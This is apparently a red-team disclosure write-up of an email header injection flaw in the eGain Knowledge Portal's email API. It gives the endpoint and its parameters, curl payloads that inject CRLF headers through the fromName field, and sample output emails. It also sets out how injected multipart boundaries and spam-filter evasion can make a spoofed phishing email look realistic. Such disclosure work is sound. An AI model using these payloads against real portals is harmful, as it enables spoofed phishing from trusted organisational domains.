eGain Email API Endpoint Functionality

The eGain Knowledge Portal web application acts as a database of various documentation for organizational use. As such, it holds the ability to send articles to coworkers with its built-in email functionality. At the bottom of each article, an Email button can be found that allows users to send the current article to a colleague both within and outside of the organization.

The vulnerable eGain Email form

Form Parameters

The form above issues a POST request to the API URL /system/ws/v11/ss/email , which expects the following parameters:

portalId=<PORTALID>&data={"toName": "<TONAME>", "fromName": "<FROMNAME>", "toEmail": "<TOEMAIL>", "fromEmail": "<FROMEMAIL>", "articleId": "<ARTICLEID>", "message": "<MESSAGE>"}&usertype=customer

portalId The ID of the customer Portal to use, this can be found easily by browsing the vulnerable eGain Knowledge Portal

data A JSON encoded object that contains the Form input. This is where the Email Header Injection lies.

usertype We used customer but believe there may be other options

data Parameters

The data parameter listed above expects a JSON encoded object with the following keys. In particular, the fromName key is not sanitized properly at the backend server and allows for the injection of the Carriage Return 0x0D and Line Feed 0x0A bytes, allowing an attacker to successfully inject data into the headers of the email crafted by the backend server:

toName The name of the recipient

fromName The name of the sender

toEmail The recipients Email Address

fromEmail The sender's Email Address

message The message body of the Email

articleId The ID of the Article in which to send to the recipient

Weaponization

Upon discovery of the Email API Endpoint, various tests were conducted by the Maveris Red Team in an attempt to enumerate information on the functionality of the service.

All of the tests conducted used the following curl command template with varying POST parameters:

curl https://<VULNERABLEDOMAIN>/system/ws/v11/ss/email \ -H "Content-Type: application/json" \ -H "Accept: application/json" \ -d 'portalId=<REDACTED>&data={"toName": "", "fromName": "", "toEmail": "", "fromEmail": "", "articleId": "", "message": ""}&usertype=customer'

Initial injection attempts sent to a Maveris controlled SMTP server showed promise of exploitation:

X-SBRS: None X-MID: <REDACTED> Date: <REDACTED> From: "<test@ORGANIZATION_DOMAIN>" To: example@<MAVERIS_SMTP> Message-ID: <REDACTED> Subject: <REDACTED> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_Part_525_1995287416.1558356802077" ------=_Part_525_1995287416.1558356802077 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit <h1>TEST</h1><!-- <REDACTED WEB APPLICATION DEFAULT MESSAGE> ------=_Part_525_1995287416.1558356802077 Content-Type: text/html;charset="UTF-8" Content-Transfer-Encoding: 7bit <h1>TEST</h1><!-- <br><br><p> <span style="font-size: 11pt; font-family: "Calibri", "sans-serif"; mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-ansi-language: EN-US; mso-fareast-lan ------=_Part_525_1995287416.1558356802077--

As shown above, we successfully commented out the default application message by using the HTML comment character <!-- . Because the email is sent using a multipart Content-Type with an HTML part, we are able to inject HTML into the message field in the JSON blob. This ability alone could be abused for nefarious purposes, such as attempting to trick a user into clicking on a link targeted at a malicious website.

We also noticed the order in which the Email Headers were written. From the looks of it, if we could control the fromName parameter, which corresponds with the From email header, then we could possibly inject custom headers into the email.

Using the following curl payload, we were able to send and receive the email below:

curl https://<VULNERABLEDOMAIN>/system/ws/v11/ss/email \ -H "Content-Type: application/json" \ -H "Accept: application/json" \ -d 'portalId=<REDACTED>&data={"toName": "", "fromName": "%0ATo: example@<MAVERIS_SMTP>%0AFrom: <test@ORGANIZATION_DOMAIN>%0ASubject: An Official Notification%0AMIME-Version: 1.0%0A%0A", "toEmail": "example@<MAVERIS_SMTP>", "fromEmail": "<test@ORGANIZATION_DOMAIN>", "articleId": "<REDACTED>", "message": ""}&usertype=customer'

Which rendered the following email in our inbox:

Initial Header Injection attempt Rendered in Roundcube

X-SBRS: None X-MID: <REDACTED> Message-ID: <REDACTED> Date: <REDACTED> From: To: example@<MAVERIS_SMTP> From: <test@ORGANIZATION_DOMAIN> Subject: An Official Notification MIME-Version: 1.0 " <test@ORGANIZATION_DOMAIN> To: example@<MAVERIS_SMTP> Message-ID: <REDACTED> Subject: <REDACTED> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_Part_98_1688600583.1559353727377" ------=_Part_98_1688600583.1559353727377 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit <REDACTED WEB APPLICATION DEFAULT MESSAGE> ------=_Part_98_1688600583.1559353727377 Content-Type: text/html;charset="UTF-8" Content-Transfer-Encoding: 7bit <br><br><p> <span style="font-size: 11pt; font-family: "Calibri", "sans-serif"; mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-ansi-language: EN-US; mso-fareast-language: EN-US; mso-bidi-language: AR-SA"><REDACTED WEB APPLICATION DEFAULT MESSAGE></span><br /> </p>

This was a big win, we successfully injected our own email headers! Yeah, we have all the original email headers in the body of our email, but we will address that next.

Something to note about the above email is the order of our injected headers. It seemed that the duplicated From header might be read by various Email clients differently. For example, GMail rendered the first appearance of the From header while Outlook and Roundcube rendered the last. This functionality could make or break a phish attempted through the exploitation of this vulnerability but this does not diminish the severity of the vulnerability itself. Additionally, we needed to break up the From headers to avoid Spam filters by separating them first with a different header field, in the case above we used the To header.

Expanding the Impact

Now that we had a working POC, we wanted to adjust it to make the email as realistic as possible. We needed to be able to hide the leftover email headers that we had pushed into the body of the email. We also wanted to be able to send attachments, embed images, and write an HTML body. Doing so meant that we had to inject our own Multipart Boundaries.

RFC 1341 to the Rescue

RFC 1341 describes how messages using the Multipart Content-Type should be written and interpreted. When crafting a multipart message, boundaries should be specified to separate the various Content-Types of each part of the message.

The opening boundary should be prefixed with -- and the closing boundary should contain the same name as the first but suffixed with an additional -- . For example an opening and closing boundary compliant with RFC 1341 could be --exampleboundary and --exampleboundary-- respectively.

How does this help? RFC 1341 says that clients interpreting multipart messages should ignore the areas before and after the opening and closing boundary declarations:

There appears to be room for additional information prior to the first encapsulation boundary and following the final boundary. These areas should generally be left blank, and implementations should ignore anything that appears before the first boundary or after the last one.

If the interpreter is properly compliant with RFC 1341, then we should be able to force an implementation to ignore the original email with a multipart message. We can craft a message part that renders HTML or holds a base64 encoded attachment. Additionally, all of those leftover headers from our header injection should be ignored by the interpreting servers and clients upon delivery of the message as they will appear after our final boundary.